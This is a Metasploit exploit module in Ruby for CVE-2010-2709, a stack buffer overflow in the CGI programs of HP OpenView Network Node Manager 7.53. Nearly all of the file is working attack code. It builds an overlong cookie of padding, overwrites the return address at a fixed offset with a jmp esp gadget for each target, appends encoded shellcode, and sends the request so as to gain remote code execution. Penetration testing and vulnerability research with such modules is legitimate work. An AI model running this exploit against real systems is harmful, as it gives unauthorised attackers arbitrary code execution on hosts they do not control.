##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/OpenView.exe', :pattern => /Hewlett-Packard Development Company/ }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'        => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
			'Description' => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
				By sending a request continaing a cookie longer than 5120 bytes, an attacker can overflow
				a stack buffer and execute arbitrary code.

				The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is
				declared within this function. When the vulnerability is triggered, the stack trace looks
				like the following:

					#0 ...
					#1 sprintf_new(local_stack_buf, fmt, cooke);
					#2 OvWwwDebug("   HTTP_COOKIE=%s\n", cookie);
					#3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);
					#4 sub_405ee0("nnm", "webappmon");

				No validation is done on the cookie argument. There are no stack cookies, so exploitation
				is easily achieved by overwriting the saved return address or SEH frame.

				The original advisory detailed an attack vector using the "OvJavaLocale" cookie being
				passed in a request ot "webappmon.exe". Further research shows that several different
				cookie values, as well as several different CGI applications, can be used.
			'},
			'License'	  => MSF_LICENSE,
			'Author'      =>
				[
					'Nahuel Riva',
					'sinn3r',
					'jduck'
				],
			'References' =>
				[
					[ 'CVE', '2010-2709' ],
					[ 'OSVDB', '66932' ],
					[ 'BID', '42154' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02446520' ],
					[ 'URL', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow' ]
				],
			'Payload'	 =>
				{
					'Space'    => 1024, # 5120 buffer?
					'BadChars' => (0..0x1f).to_a.pack('C*'),
					'DisableNops'    => true,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister'  => 'ESP'
						},
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "seh",
					"InitialAutoRunScript" => "migrate -f",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'HP OpenView Network Node Manager 7.53',
						{
							'Ret' => 0x5a212a4a # jmp esp in ov.dll (2004-10-05, 294,967 bytes)
						}
					],
					[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
						{
							'Ret' => 0x71c02b67 # push esp / ret in ws2_32.dll v5.2.3790.3959
						}
					],
					[ 'Debug Target',
						{
							#'Ret' => 0x5a30575b # int3 in ovwww.dll (2007-09-18, 106,558 bytes)
							'Ret' => 0x71c0782c # int3 in ws2_32.dll v5.2.3790.3959
						}
					]
				],
			'Privileged'	=> false,
			'DisclosureDate' => "Aug 3 2010"))

			register_options(
				[
					OptString.new('COOKIE', [ false, "The Cookie name to use", nil ]),
					OptString.new('CGI', [ false, "The CGI to use", nil ])
				], self.class)
	end

	def exploit

		print_status("Trying target #{target.name}...")

		cookies = %w{
			OvJavaScript OvTitleFrame OvHelpWindow OvMap OvSession OvJavaLocale
			OvOSLocale OvLogin OvDebug OvDeveloper OvTreeControl OvJavaScript OvProduct
			OvPort OvLocale OvWebSession
		}
		# This triggers a heap overflow - OvAcceptLang  ;-)
		cookie = datastore['COOKIE'].dup if datastore['COOKIE']
		cookie ||= cookies[rand(cookies.length)]

		cgis = %w{
			Main/Snmp.exe getcvdata.exe getnnmdata.exe jovw.exe jovwreg.exe
			nnmRptConfig.exe nnmRptPresenter.exe OpenView5.exe OpenView.exe ovalarm.exe
			ovlaunch.exe ovlaunchreg.exe ovlogin.exe ovsessioninfo.exe ovsipexport.exe
			OvHelp.exe OvWebHelp.exe printsession.exe snmpviewer.exe Title.exe
			Toolbar.exe webappmon.exe
		}
		# These don't work: jovgraph.exe
		cgi = datastore['CGI'].dup if datastore['CGI']
		cgi ||= cgis[rand(cgis.length)]
		if cgi[0,7] != '/OvCgi/'
			cgi = '/OvCgi/' + cgi
		end

		print_status("Using cookie: #{cookie} and cgi: #{cgi}")

		cookie << "="

		# sprintf_new(buf, "   HTTP_COOKIE=%s", bigstr);
		start = '   HTTP_COOKIE='
		start << cookie

		# Offsets from the start of the buffer:
		# ebp @ 5120
		# ret @ 5124
		# seh @ 7044

		buf = rand_text_alphanumeric(5124 - start.length)
		buf << [target.ret].pack('V')
		#buf << "\xcc"
		buf << payload.encoded

		cookie << buf
		cookie << ";"

		res = send_request_cgi({
			'uri'		  => cgi,
			'method'	  => "GET",
			'headers'  =>
				{
					'Cookie' => cookie
				}
		}, 3)

		if res and res.code != 502
			print_error("Eek! We weren't expecting a response, but we got one")
			if datastore['DEBUG']
				print_error('')
				print_error(res.inspect)
			end
		end

		handler
		disconnect

	end
end
